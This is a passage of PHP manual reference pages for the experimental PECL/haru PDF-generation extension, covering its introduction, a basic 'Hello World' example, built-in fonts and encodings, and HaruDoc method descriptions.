    • HaruAnnotation::setOpened — Set the initial state of the annotation
  • HaruDestination — The HaruDestination class
    • HaruDestination::setFit — Set the appearance of the page to fit the window
    • HaruDestination::setFitB — Set the appearance of the page to fit the bounding box of the page within the window
    • HaruDestination::setFitBH — Set the appearance of the page to fit the width of the bounding box
    • HaruDestination::setFitBV — Set the appearance of the page to fit the height of the boudning box
    • HaruDestination::setFitH — Set the appearance of the page to fit the window width
    • HaruDestination::setFitR — Set the appearance of the page to fit the specified rectangle
    • HaruDestination::setFitV — Set the appearance of the page to fit the window height
    • HaruDestination::setXYZ — Set the appearance of the page

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The PECL/haru extension provides bindings to the libHaru library. libHaru is a free, cross platform, and Open Source library for generating PDF files.

The Haru library (libHaru) may be found here: » http://libharu.org.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You need to install libharu first to be able to use PECL/haru. PECL/haru is tested with libharu 2.0.8, older versions might or might not work for you. PECL/haru also requires PHP 5.1.3 or newer.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/haru.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Basic PECL/haru example

User Contributed Notes

There are no user contributed notes for this page.


Basic PECL/haru example

Example #1 Fancy "Hello world"

<?php

$doc = new HaruDoc;

$doc->setPageMode(HaruDoc::PAGE_MODE_USE_THUMBS); /* show thumbnails */

$page = $doc->addPage(); /* add page to the document */
$page->setSize(HaruPage::SIZE_A4, HaruPage::LANDSCAPE); /* set the page to use A4 landscape format */

$courier = $doc->getFont("Courier-Bold"); /* we'll use the bundled font a few lines below */

$page->setRGBStroke(0, 0, 0); /* set colors */
$page->setRGBFill(0.7, 0.8, 0.9);
$page->rectangle(150, 150, 550, 250); /* draw a rectangle */

$page->fillStroke(); /* fill and stroke it */

$page->setDash(array(3, 3), 0); /* set dash style for lines at this page */
$page->setFontAndSize($courier, 60); /* set font and size */

$page->setRGBStroke(0.5, 0.5, 0.1); /* set line color */
$page->setRGBFill(1, 1, 1); /* set filling color */

$page->setTextRenderingMode(HaruPage::FILL_THEN_STROKE); /* fill and stroke text */

/* print the text */
$page->beginText();
$page->textOut(210, 270, "Hello World!");
$page->endText();

$doc->save("/tmp/test.pdf"); /* save the document into a file */

?>

Open the result document in your favourite PDF viewer and you should see a light-blue rectangle and white "Hello World!" on it.

User Contributed Notes

There are no user contributed notes for this page.


Builtin Fonts And Encodings

Table of Contents

  • Builtin Fonts
  • Builtin Encodings

User Contributed Notes

There are no user contributed notes for this page.


Builtin Fonts

These Base14 fonts are built-in into PDF and all viewers can display them. Using these fonts may decrease the size of the result file and make the processing faster, avoiding loading external fonts. However the fonts support only latin1 character set and you have to load external fonts if you need to use an other character set.

The Base14 fonts:

  • Courier

  • Courier-Bold

  • Courier-Oblique

  • Courier-BoldOblique

  • Helvetica

  • Helvetica-Bold

  • Helvetica-Oblique

  • Helvetica-BoldOblique

  • Times-Roman

  • Times-Bold

  • Times-Italic

  • Times-BoldItalic

  • Symbol

  • ZapfDingbats

User Contributed Notes

There are no user contributed notes for this page.


Builtin Encodings

Single-byte character set encodings
Name | Description
StandardEncoding | The default encoding of PDF.
MacRomanEncoding | The standard encoding of Mac OS.
WinAnsiEncoding | The standard encoding of Windows.
FontSpecific | The font built-in encoding.
ISO8859-2 | Latin2 (East European)
ISO8859-3 | Latin3 (South European)
ISO8859-4 | Latin4 (North European)
ISO8859-5 | Cyrillic
ISO8859-6 | Arabic
ISO8859-7 | Greek
ISO8859-8 | Hebrew
ISO8859-9 | Latin5 (Turkish)
ISO8859-10 | Latin6 (Nordic)
ISO8859-11 | Thai
ISO8859-13 | Latin7 (Baltic Rim)
ISO8859-14 | Latin8 (Celtic)
ISO8859-15 | Latin9
ISO8859-16 | Latin10
CP1250 | MS Windows Codepage 1250.
CP1251 | MS Windows Codepage 1251.
CP1252 | MS Windows Codepage 1252.
CP1253 | MS Windows Codepage 1253.
CP1254 | MS Windows Codepage 1254.
CP1255 | MS Windows Codepage 1255.
CP1256 | MS Windows Codepage 1256.
CP1257 | MS Windows Codepage 1257.
CP1258 | MS Windows Codepage 1258.
KOI8-R | Cyrillic character set.
Multi-byte character set encodings
Name | Description
GB-EUC-H | EUC-CN encoding.
GB-EUC-V | Vertical writing version of GB-EUC-H.
GBK-EUC-H | Microsoft Code Page 936 (lfCharSet 0x86) GBK encoding.
GBK-EUC-V | Vertical writing version of GBK-EUC-H.
ETen-B5-H | Microsoft Code Page 950 (lfCharSet 0x88) Big Five character set with ETen extensions.
ETen-B5-V | Vertical writing version of ETen-B5-H.
90ms-RKSJ-H | Microsoft Code Page 932, JIS X 0208 character.
90ms-RKSJ-V | Vertical writing version of 90ms-RKSJ-V.
90msp-RKSJ-H | Microsoft Code Page 932, JIS X 0208 character (proportional).
EUC-H | JIS X 0208 character set, EUC-JP encoding.
EUC-V | Vertical writing version of EUC-H.
KSC-EUC-H | KS X 1001:1992 character set, EUC-KR encoding.
KSC-EUC-V | Vertical writing version of KSC-EUC-V.
KSCms-UHC-H | Microsoft Code Page 949 (lfCharSet 0x81), KS X 1001:1992 character set plus 8822 additional hangul, Unified Hangul Code (UHC) encoding (proportional).
KSCms-UHC-HW-H | Microsoft Code Page 949 (lfCharSet 0x81), KS X 1001:1992 character set plus 8822 additional hangul, Unified Hangul Code (UHC) encoding (fixed width).
KSCms-UHC-HW-V | Vertical writing version of KSCms-UHC-HW-H.

User Contributed Notes

gem at rellim dot com 29-Jan-2010 04:19
At first glance it appears there is no support for ISO-8859-1.

Looking at the libharu source code (src/hpdf_encoding.c) you can see that
what they call 'WinAnsiEncoding' is Windows Code Page 1252.  CP1252 is a superset of ISO-8859-1 that adds printable characters at 0x80 to 0x9F.

So you can use that to get ISO-8859-1.


The HaruException class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Exception Class.

Class synopsis

HaruException extends Exception {
/* Inherits */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The HaruDoc class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Document Class.

Class synopsis

HaruDoc {
/* Methods */
object addPage ( void )
bool addPageLabel ( int $first_page , int $style , int $first_num [, string $prefix = "" ] )
__construct ( void )
object createOutline ( string $title [, object $parent_outline [, object $encoder ]] )
object getCurrentEncoder ( void )
object getCurrentPage ( void )
object getEncoder ( string $encoding )
object getFont ( string $fontname [, string $encoding ] )
string getInfoAttr ( int $type )
int getPageLayout ( void )
int getPageMode ( void )
int getStreamSize ( void )
object insertPage ( object $page )
object loadJPEG ( string $filename )
object loadPNG ( string $filename [, bool $deferred = false ] )
object loadRaw ( string $filename , int $width , int $height , int $color_space )
string loadTTC ( string $fontfile , int $index [, bool $embed = false ] )
string loadTTF ( string $fontfile [, bool $embed = false ] )
string loadType1 ( string $afmfile [, string $pfmfile ] )
bool output ( void )
string readFromStream ( int $bytes )
bool resetError ( void )
bool resetStream ( void )
bool save ( string $file )
bool saveToStream ( void )
bool setCompressionMode ( int $mode )
bool setCurrentEncoder ( string $encoding )
bool setEncryptionMode ( int $mode [, int $key_len = 5 ] )
bool setInfoAttr ( int $type , string $info )
bool setInfoDateAttr ( int $type , int $year , int $month , int $day , int $hour , int $min , int $sec , string $ind , int $off_hour , int $off_min )
bool setOpenAction ( object $destination )
bool setPageLayout ( int $layout )
bool setPageMode ( int $mode )
bool setPagesConfiguration ( int $page_per_pages )
bool setPassword ( string $owner_password , string $user_password )
bool setPermission ( int $permission )
bool useCNSEncodings ( void )
bool useCNSFonts ( void )
bool useCNTEncodings ( void )
bool useCNTFonts ( void )
bool useJPEncodings ( void )
bool useJPFonts ( void )
bool useKREncodings ( void )
bool useKRFonts ( void )
}

Predefined Constants

Type | Name | Description
int | HaruDoc::CS_DEVICE_GRAY |
int | HaruDoc::CS_DEVICE_RGB |
int | HaruDoc::CS_DEVICE_CMYK |
int | HaruDoc::CS_CAL_GRAY |
int | HaruDoc::CS_CAL_RGB |
int | HaruDoc::CS_LAB |
int | HaruDoc::CS_ICC_BASED |
int | HaruDoc::CS_SEPARATION |
int | HaruDoc::CS_DEVICE_N |
int | HaruDoc::CS_INDEXED |
int | HaruDoc::CS_PATTERN |
int | HaruDoc::ENABLE_READ |
int | HaruDoc::ENABLE_PRINT |
int | HaruDoc::ENABLE_EDIT_ALL |
int | HaruDoc::ENABLE_COPY |
int | HaruDoc::ENABLE_EDIT |
int | HaruDoc::ENCRYPT_R2 |
int | HaruDoc::ENCRYPT_R3 |
int | HaruDoc::INFO_AUTHOR |
int | HaruDoc::INFO_CREATOR |
int | HaruDoc::INFO_TITLE |
int | HaruDoc::INFO_SUBJECT |
int | HaruDoc::INFO_KEYWORDS |
int | HaruDoc::INFO_CREATION_DATE |
int | HaruDoc::INFO_MOD_DATE |
int | HaruDoc::COMP_NONE |
int | HaruDoc::COMP_TEXT |
int | HaruDoc::COMP_IMAGE |
int | HaruDoc::COMP_METADATA |
int | HaruDoc::COMP_ALL |
int | HaruDoc::PAGE_LAYOUT_SINGLE |
int | HaruDoc::PAGE_LAYOUT_ONE_COLUMN |
int | HaruDoc::PAGE_LAYOUT_TWO_COLUMN_LEFT |
int | HaruDoc::PAGE_LAYOUT_TWO_COLUMN_RIGHT |
int | HaruDoc::PAGE_MODE_USE_NONE |
int | HaruDoc::PAGE_MODE_USE_OUTLINE |
int | HaruDoc::PAGE_MODE_USE_THUMBS |
int | HaruDoc::PAGE_MODE_FULL_SCREEN |

Table of Contents

  • HaruDoc::addPage — Add new page to the document
  • HaruDoc::addPageLabel — Set the numbering style for the specified range of pages
  • HaruDoc::__construct — Construct new HaruDoc instance
  • HaruDoc::createOutline — Create a HaruOutline instance
  • HaruDoc::getCurrentEncoder — Get HaruEncoder currently used in the document
  • HaruDoc::getCurrentPage — Return current page of the document
  • HaruDoc::getEncoder — Get HaruEncoder instance for the specified encoding
  • HaruDoc::getFont — Get HaruFont instance
  • HaruDoc::getInfoAttr — Get current value of the specified document attribute
  • HaruDoc::getPageLayout — Get current page layout
  • HaruDoc::getPageMode — Get current page mode
  • HaruDoc::getStreamSize — Get the size of the temporary stream
  • HaruDoc::insertPage — Insert new page just before the specified page
  • HaruDoc::loadJPEG — Load a JPEG image
  • HaruDoc::loadPNG — Load PNG image and return HaruImage instance
  • HaruDoc::loadRaw — Load a RAW image
  • HaruDoc::loadTTC — Load the font with the specified index from TTC file
  • HaruDoc::loadTTF — Load TTF font file
  • HaruDoc::loadType1 — Load Type1 font
  • HaruDoc::output — Write the document data to the output buffer
  • HaruDoc::readFromStream — Read data from the temporary stream
  • HaruDoc::resetError — Reset error state of the document handle
  • HaruDoc::resetStream — Rewind the temporary stream
  • HaruDoc::save — Save the document into the specified file
  • HaruDoc::saveToStream — Save the document into a temporary stream
  • HaruDoc::setCompressionMode — Set compression mode for the document
  • HaruDoc::setCurrentEncoder — Set the current encoder for the document
  • HaruDoc::setEncryptionMode — Set encryption mode for the document
  • HaruDoc::setInfoAttr — Set the info attribute of the document
  • HaruDoc::setInfoDateAttr — Set the datetime info attributes of the document
  • HaruDoc::setOpenAction — Define which page is shown when the document is opened
  • HaruDoc::setPageLayout — Set how pages should be displayed
  • HaruDoc::setPageMode — Set how the document should be displayed
  • HaruDoc::setPagesConfiguration — Set the number of pages per set of pages
  • HaruDoc::setPassword — Set owner and user passwords for the document
  • HaruDoc::setPermission — Set permissions for the document
  • HaruDoc::useCNSEncodings — Enable Chinese simplified encodings
  • HaruDoc::useCNSFonts — Enable builtin Chinese simplified fonts
  • HaruDoc::useCNTEncodings — Enable Chinese traditional encodings
  • HaruDoc::useCNTFonts — Enable builtin Chinese traditional fonts
  • HaruDoc::useJPEncodings — Enable Japanese encodings
  • HaruDoc::useJPFonts — Enable builtin Japanese fonts
  • HaruDoc::useKREncodings — Enable Korean encodings
  • HaruDoc::useKRFonts — Enable builtin Korean fonts

User Contributed Notes

There are no user contributed notes for this page.


Add new page to the document

  • « HaruDoc
  • HaruDoc::addPageLabel »
  • PHP Manual
  • HaruDoc
  • Add new page to the document

HaruDoc::addPage

(PECL haru >= 0.0.1)

HaruDoc::addPage — Add new page to the document

Description

object HaruDoc::addPage ( void )

Adds a new page to the document.

Parameters

This function has no parameters.

Return Values

Returns a new HaruPage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::insertPage() - Insert new page just before the specified page

User Contributed Notes

There are no user contributed notes for this page.


Set the numbering style for the specified range of pages

  • « HaruDoc::addPage
  • HaruDoc::__construct »
  • PHP Manual
  • HaruDoc
  • Set the numbering style for the specified range of pages

HaruDoc::addPageLabel

(PECL haru >= 0.0.1)

HaruDoc::addPageLabel — Set the numbering style for the specified range of pages

Description

bool HaruDoc::addPageLabel ( int $first_page , int $style , int $first_num [, string $prefix = "" ] )

Set the numbering style for the specified range of pages.

Parameters

first_page

The first page included into the labeling range.

style

The numbering style. The following values are allowed:

  • HaruPage::NUM_STYLE_DECIMAL - page label is displayed using decimal numerals.
  • HaruPage::NUM_STYLE_UPPER_ROMAN - page label is displayed using uppercase Roman numerals.
  • HaruPage::NUM_STYLE_LOWER_ROMAN - page label is displayed using lowercase Roman numerals.
  • HaruPage::NUM_STYLE_UPPER_LETTER - page label is displayed using uppercase letters (from A to Z).
  • HaruPage::NUM_STYLE_LOWER_LETTERS - page label is displayed using lowercase letters (from a to z).

first_num

The first page number in this range.

prefix

The prefix for the page label.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Construct new HaruDoc instance

  • « HaruDoc::addPageLabel
  • HaruDoc::createOutline »
  • PHP Manual
  • HaruDoc
  • Construct new HaruDoc instance

HaruDoc::__construct

(PECL haru >= 0.0.1)

HaruDoc::__construct — Construct new HaruDoc instance

Description

HaruDoc::__construct ( void )

Constructs new HaruDoc instance.

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create a HaruOutline instance

  • « HaruDoc::__construct
  • HaruDoc::getCurrentEncoder »
  • PHP Manual
  • HaruDoc
  • Create a HaruOutline instance

HaruDoc::createOutline

(PECL haru >= 0.0.1)

HaruDoc::createOutline — Create a HaruOutline instance

Description

object HaruDoc::createOutline ( string $title [, object $parent_outline [, object $encoder ]] )

Create a HaruOutline instance.

Parameters

title

The caption of new outline object.

parent_outline

A valid HaruOutline instance or NULL.

encoder

A valid HaruEncoder instance or NULL.

Return Values

Returns a new HaruOutline instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get HaruEncoder currently used in the document

  • « HaruDoc::createOutline
  • HaruDoc::getCurrentPage »
  • PHP Manual
  • HaruDoc
  • Get HaruEncoder currently used in the document

HaruDoc::getCurrentEncoder

(PECL haru >= 0.0.1)

HaruDoc::getCurrentEncoder — Get HaruEncoder currently used in the document

Description

object HaruDoc::getCurrentEncoder ( void )

Get the HaruEncoder currently used in the document.

Parameters

This function has no parameters.

Return Values

Returns HaruEncoder currently used in the document or FALSE if encoder is not set.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setCurrentEncoder() - Set the current encoder for the document

User Contributed Notes

There are no user contributed notes for this page.


Return current page of the document

  • « HaruDoc::getCurrentEncoder
  • HaruDoc::getEncoder »
  • PHP Manual
  • HaruDoc
  • Return current page of the document

HaruDoc::getCurrentPage

(PECL haru >= 0.0.1)

HaruDoc::getCurrentPage — Return current page of the document

Description

object HaruDoc::getCurrentPage ( void )

Get current page of the document.

Parameters

This function has no parameters.

Return Values

Returns HaruPage instance on success or FALSE if there is no current page at the moment.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get HaruEncoder instance for the specified encoding

  • « HaruDoc::getCurrentPage
  • HaruDoc::getFont »
  • PHP Manual
  • HaruDoc
  • Get HaruEncoder instance for the specified encoding

HaruDoc::getEncoder

(PECL haru >= 0.0.1)

HaruDoc::getEncoder — Get HaruEncoder instance for the specified encoding

Description

object HaruDoc::getEncoder ( string $encoding )

Get the HaruEncoder instance for the specified encoding.

Parameters

encoding

The encoding name. See Builtin Encodings for the list of allowed values.

Return Values

Returns a HaruEncoder instance for the specified encoding.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setCurrentEncoder() - Set the current encoder for the document
  • HaruDoc::getCurrentEncoder() - Get HaruEncoder currently used in the document

User Contributed Notes

There are no user contributed notes for this page.


Get HaruFont instance

  • « HaruDoc::getEncoder
  • HaruDoc::getInfoAttr »
  • PHP Manual
  • HaruDoc
  • Get HaruFont instance

HaruDoc::getFont

(PECL haru >= 0.0.1)

HaruDoc::getFont — Get HaruFont instance

Description

object HaruDoc::getFont ( string $fontname [, string $encoding ] )

Get a HaruFont instance.

Parameters

fontname

The name of the font. See Builtin Fonts for the list of builtin fonts. You can also use the name of a font loaded via HaruDoc::loadTTF(), HaruDoc::loadTTC() and HaruDoc::loadType1().

encoding

The encoding to use. See Builtin Encodings for the list of supported encodings.

Return Values

Returns a HaruFont instance with the specified fontname and encoding.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setFontAndSize() - Set font and fontsize for the page
  • HaruPage::setCurrentFont()

User Contributed Notes

There are no user contributed notes for this page.


Get current value of the specified document attribute

  • « HaruDoc::getFont
  • HaruDoc::getPageLayout »
  • PHP Manual
  • HaruDoc
  • Get current value of the specified document attribute

HaruDoc::getInfoAttr

(PECL haru >= 0.0.1)

HaruDoc::getInfoAttr — Get current value of the specified document attribute

Description

string HaruDoc::getInfoAttr ( int $type )

Get the current value of the specified document attribute.

Parameters

type

The type of the attribute. The following values are available:

  • HaruDoc::INFO_AUTHOR
  • HaruDoc::INFO_CREATOR
  • HaruDoc::INFO_TITLE
  • HaruDoc::INFO_SUBJECT
  • HaruDoc::INFO_KEYWORDS
  • HaruDoc::INFO_CREATION_DATE
  • HaruDoc::INFO_MOD_DATE

Return Values

Returns the string value of the specified document attribute.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setInfoAttr() - Set the info attribute of the document
  • HaruDoc::setInfoDateAttr() - Set the datetime info attributes of the document

User Contributed Notes

There are no user contributed notes for this page.


Get current page layout

  • « HaruDoc::getInfoAttr
  • HaruDoc::getPageMode »
  • PHP Manual
  • HaruDoc
  • Get current page layout

HaruDoc::getPageLayout

(PECL haru >= 0.0.1)

HaruDoc::getPageLayout — Get current page layout

Description

int HaruDoc::getPageLayout ( void )

Get the current page layout. See HaruDoc::setPageLayout() for the list of possible values.

Parameters

This function has no parameters.

Return Values

Returns the page layout currently set in the document or FALSE if page layout was not set. See HaruDoc::setPageLayout() for the list of possible values.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPageLayout() - Set how pages should be displayed

User Contributed Notes

There are no user contributed notes for this page.


Get current page mode

  • « HaruDoc::getPageLayout
  • HaruDoc::getStreamSize »
  • PHP Manual
  • HaruDoc
  • Get current page mode

HaruDoc::getPageMode

(PECL haru >= 0.0.1)

HaruDoc::getPageMode — Get current page mode

Description

int HaruDoc::getPageMode ( void )

Get the current page mode. See HaruDoc::setPageMode() for the list of possible values.

Parameters

This function has no parameters.

Return Values

Returns the page mode currently set in the document. See HaruDoc::setPageMode() for the list of possible values.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPageMode() - Set how the document should be displayed

User Contributed Notes

There are no user contributed notes for this page.


Get the size of the temporary stream

  • « HaruDoc::getPageMode
  • HaruDoc::insertPage »
  • PHP Manual
  • HaruDoc
  • Get the size of the temporary stream

HaruDoc::getStreamSize

(PECL haru >= 0.0.1)

HaruDoc::getStreamSize — Get the size of the temporary stream

Description

int HaruDoc::getStreamSize ( void )

Get the size of the temporary stream.

Parameters

This function has no parameters.

Return Values

Returns the size of the data in the temporary stream of the document. The size is zero if the document was not saved to the temporary stream.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::saveToStream() - Save the document into a temporary stream
  • HaruDoc::resetStream() - Rewind the temporary stream
  • HaruDoc::readFromStream() - Read data from the temporary stream

User Contributed Notes

There are no user contributed notes for this page.


Insert new page just before the specified page

  • « HaruDoc::getStreamSize
  • HaruDoc::loadJPEG »
  • PHP Manual
  • HaruDoc
  • Insert new page just before the specified page

HaruDoc::insertPage

(PECL haru >= 0.0.1)

HaruDoc::insertPage — Insert new page just before the specified page

Description

object HaruDoc::insertPage ( object $page )

Creates a new page and inserts just before the specified page.

Parameters

page

A valid HaruPage instance.

Return Values

Returns a new HaruPage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::addPage() - Add new page to the document

User Contributed Notes

There are no user contributed notes for this page.


Load a JPEG image

  • « HaruDoc::insertPage
  • HaruDoc::loadPNG »
  • PHP Manual
  • HaruDoc
  • Load a JPEG image

HaruDoc::loadJPEG

(PECL haru >= 0.0.1)

HaruDoc::loadJPEG — Load a JPEG image

Description

object HaruDoc::loadJPEG ( string $filename )

Loads the specified JPEG image.

Parameters

filename

A valid JPEG image file.

Return Values

Returns a new HaruImage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadPNG() - Load PNG image and return HaruImage instance
  • HaruDoc::loadRAW() - Load a RAW image

User Contributed Notes

There are no user contributed notes for this page.


Load PNG image and return HaruImage instance

  • « HaruDoc::loadJPEG
  • HaruDoc::loadRaw »
  • PHP Manual
  • HaruDoc
  • Load PNG image and return HaruImage instance

HaruDoc::loadPNG

(PECL haru >= 0.0.1)

HaruDoc::loadPNG — Load PNG image and return HaruImage instance

Description

object HaruDoc::loadPNG ( string $filename [, bool $deferred = false ] )

Loads a PNG image.

Libharu might be built without libpng support, in this case each call to this function would result in exception.

Parameters

filename

The name of a PNG image file.

deferred

Do not load data immediately. You can set deferred parameter to TRUE for deferred data loading, in this case only size and color are loaded immediately.

Return Values

Returns a HaruImage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadJPEG() - Load a JPEG image
  • HaruDoc::loadRAW() - Load a RAW image

User Contributed Notes

There are no user contributed notes for this page.


Load a RAW image

  • « HaruDoc::loadPNG
  • HaruDoc::loadTTC »
  • PHP Manual
  • HaruDoc
  • Load a RAW image

HaruDoc::loadRaw

(PECL haru >= 0.0.1)

HaruDoc::loadRaw — Load a RAW image

Description

object HaruDoc::loadRaw ( string $filename , int $width , int $height , int $color_space )

Loads a RAW image.

Parameters

filename

The name of a RAW image file.

width

The width of the image.

height

The height of the image.

color_space

The color space of the image. Can be one of the following values:

  • HaruDoc::CS_DEVICE_GRAY
  • HaruDoc::CS_DEVICE_RGB
  • HaruDoc::CS_DEVICE_CMYK

Return Values

Returns a HaruImage instance.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadJPEG() - Load a JPEG image
  • HaruDoc::loadPNG() - Load PNG image and return HaruImage instance

User Contributed Notes

There are no user contributed notes for this page.


Load the font with the specified index from TTC file

  • « HaruDoc::loadRaw
  • HaruDoc::loadTTF »
  • PHP Manual
  • HaruDoc
  • Load the font with the specified index from TTC file

HaruDoc::loadTTC

(PECL haru >= 0.0.1)

HaruDoc::loadTTC — Load the font with the specified index from TTC file

Description

string HaruDoc::loadTTC ( string $fontfile , int $index [, bool $embed = false ] )

Loads the TrueType font with the specified index from a TrueType collection file.

Parameters

fontfile

The TrueType collection file.

index

The index of the font in the collection file.

embed

When set to TRUE, the glyph data of the font is embedded into the PDF file, otherwise only the matrix data is included.

Return Values

Returns the name of the loaded font on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadTTF() - Load TTF font file
  • HaruDoc::loadType1() - Load Type1 font

User Contributed Notes

There are no user contributed notes for this page.


Load TTF font file

  • « HaruDoc::loadTTC
  • HaruDoc::loadType1 »
  • PHP Manual
  • HaruDoc
  • Load TTF font file

HaruDoc::loadTTF

(PECL haru >= 0.0.1)

HaruDoc::loadTTF — Load TTF font file

Description

string HaruDoc::loadTTF ( string $fontfile [, bool $embed = false ] )

Loads the given TTF file and (optionally) embed its data into the document.

Parameters

fontfile

The TTF file to load.

embed

When set to TRUE, the glyph data of the font is embedded into the PDF file, otherwise only the matrix data is included.

Return Values

Returns the name of the loaded font on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadTTC() - Load the font with the specified index from TTC file
  • HaruDoc::loadType1() - Load Type1 font

User Contributed Notes

There are no user contributed notes for this page.


Load Type1 font

  • « HaruDoc::loadTTF
  • HaruDoc::output »
  • PHP Manual
  • HaruDoc
  • Load Type1 font

HaruDoc::loadType1

(PECL haru >= 0.0.1)

HaruDoc::loadType1 — Load Type1 font

Description

string HaruDoc::loadType1 ( string $afmfile [, string $pfmfile ] )

Loads Type1 font from the given file and registers it in the PDF document.

Parameters

afmfile

Path to an AFM file.

pfmfile

Path to a PFA/PFB file, optional. If it's not set only the glyph data of the font is embedded into the PDF document.

Return Values

Returns the name of the loaded font on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::loadTTC() - Load the font with the specified index from TTC file
  • HaruDoc::loadTTF() - Load TTF font file

User Contributed Notes

There are no user contributed notes for this page.


Write the document data to the output buffer

  • « HaruDoc::loadType1
  • HaruDoc::readFromStream »
  • PHP Manual
  • HaruDoc
  • Write the document data to the output buffer

HaruDoc::output

(PECL haru >= 0.0.1)

HaruDoc::output — Write the document data to the output buffer

Description

bool HaruDoc::output ( void )

Writes the document data into standard output.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::save() - Save the document into the specified file

User Contributed Notes

There are no user contributed notes for this page.


Read data from the temporary stream

  • « HaruDoc::output
  • HaruDoc::resetError »
  • PHP Manual
  • HaruDoc
  • Read data from the temporary stream

HaruDoc::readFromStream

(PECL haru >= 0.0.1)

HaruDoc::readFromStream — Read data from the temporary stream

Description

string HaruDoc::readFromStream ( int $bytes )

Read data from the temporary stream.

Parameters

bytes

The bytes parameter specifies how many bytes to read, though the stream may contain less bytes than requested.

Return Values

Returns data from the temporary stream.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::saveToStream() - Save the document into a temporary stream
  • HaruDoc::resetStream() - Rewind the temporary stream
  • HaruDoc::getStreamSize() - Get the size of the temporary stream

User Contributed Notes

There are no user contributed notes for this page.


Reset error state of the document handle

  • « HaruDoc::readFromStream
  • HaruDoc::resetStream »
  • PHP Manual
  • HaruDoc
  • Reset error state of the document handle

HaruDoc::resetError

(PECL haru >= 0.0.1)

HaruDoc::resetError — Reset error state of the document handle

Description

bool HaruDoc::resetError ( void )

Once an error code is set, most of the operations, including I/O processing functions cannot be performed. In case if you want to continue after the cause of the error has been fixed, you have to invoke this function in order to reset the document error state.

Parameters

This function has no parameters.

Return Values

Always succeeds and returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.


Rewind the temporary stream

  • « HaruDoc::resetError
  • HaruDoc::save »
  • PHP Manual
  • HaruDoc
  • Rewind the temporary stream

HaruDoc::resetStream

(PECL haru >= 0.0.1)

HaruDoc::resetStream — Rewind the temporary stream

Description

bool HaruDoc::resetStream ( void )

Rewinds the temporary stream of the document.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::saveToStream() - Save the document into a temporary stream
  • HaruDoc::getStreamSize() - Get the size of the temporary stream
  • HaruDoc::readFromStream() - Read data from the temporary stream

User Contributed Notes

There are no user contributed notes for this page.


Save the document into the specified file

  • « HaruDoc::resetStream
  • HaruDoc::saveToStream »
  • PHP Manual
  • HaruDoc
  • Save the document into the specified file

HaruDoc::save

(PECL haru >= 0.0.1)

HaruDoc::save — Save the document into the specified file

Description

bool HaruDoc::save ( string $file )

Saves the document into the specified file.

Parameters

file

The file to save the document to.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::output() - Write the document data to the output buffer

User Contributed Notes

There are no user contributed notes for this page.


Save the document into a temporary stream

  • « HaruDoc::save
  • HaruDoc::setCompressionMode »
  • PHP Manual
  • HaruDoc
  • Save the document into a temporary stream

HaruDoc::saveToStream

(PECL haru >= 0.0.1)

HaruDoc::saveToStream — Save the document into a temporary stream

Description

bool HaruDoc::saveToStream ( void )

Saves the document data into a temporary stream.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::resetStream() - Rewind the temporary stream
  • HaruDoc::getStreamSize() - Get the size of the temporary stream
  • HaruDoc::readFromStream() - Read data from the temporary stream

User Contributed Notes

There are no user contributed notes for this page.


Set compression mode for the document

  • « HaruDoc::saveToStream
  • HaruDoc::setCurrentEncoder »
  • PHP Manual
  • HaruDoc
  • Set compression mode for the document

HaruDoc::setCompressionMode

(PECL haru >= 0.0.1)

HaruDoc::setCompressionMode — Set compression mode for the document

Description

bool HaruDoc::setCompressionMode ( int $mode )

Defines compression mode for the document. In case when libharu was compiled without Zlib support this function will always throw HaruException.

Parameters

mode

The compression mode to use. The value is a combination of the following flags:

